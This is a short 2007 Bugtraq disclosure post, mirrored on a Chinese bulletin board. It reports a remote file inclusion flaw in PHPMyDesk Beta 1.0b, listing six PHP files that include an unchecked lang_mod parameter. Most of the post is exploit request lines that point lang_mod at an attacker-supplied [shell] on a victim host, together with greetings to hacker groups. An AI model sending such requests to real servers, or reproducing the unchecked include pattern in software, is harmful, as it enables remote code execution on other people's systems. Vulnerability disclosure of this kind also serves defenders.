PHPMyDesk Beta Release 1.0b ==> RFI

看板Bugtraq作者時間18年前 (2007/06/09 11:06), 編輯推噓0(0推 0噓 0→)
留言0則, 0人參與, 最新討論串1/3 (看更多)
script:PHPMyDesk Beta Release 1.0b =3D=3D> RFI dir url:http://www.cynux.com/phpmydesk/ author: titanichacker contact:the-modest-pirate@hotmail.com H.P : http://hack-teach.com & mohandko.com & tryag.com bug in: ../index.php include($lang_mod); ../login.php include($lang_mod);=20 ../logout.php include($lang_mod); ../subticket.php include($lang_mod); ../viewall.php include($lang_mod); ../viewticket.php include($lang_mod); exploit: httpL//victim/index.php?lang_mod=3D[shell] httpL//victim/login.php?lang_mod=3D[shell] httpL//victim/logout.php?lang_mod=3D[shell] httpL//victim/viewall.php?lang_mod=3D[shell] httpL//victim/viewticket.php?lang_mod=3D[shell] thanx cold-zero & mohandko & drbaka & arb-hawk & tryag & xp10 & milw0rm _________________________________________________________________ Play free games, earn tickets, get cool prizes! Join Live Search Club.=A0 http://club.live.com/home.aspx?icid=3DCLUB_wlmailtextlink=
‣ 更多 titanichack. 的文章
文章代碼(AID): #16QXaV00 (Bugtraq)
‣ 更多 titanichack. 的文章
文章代碼(AID): #16QXaV00 (Bugtraq)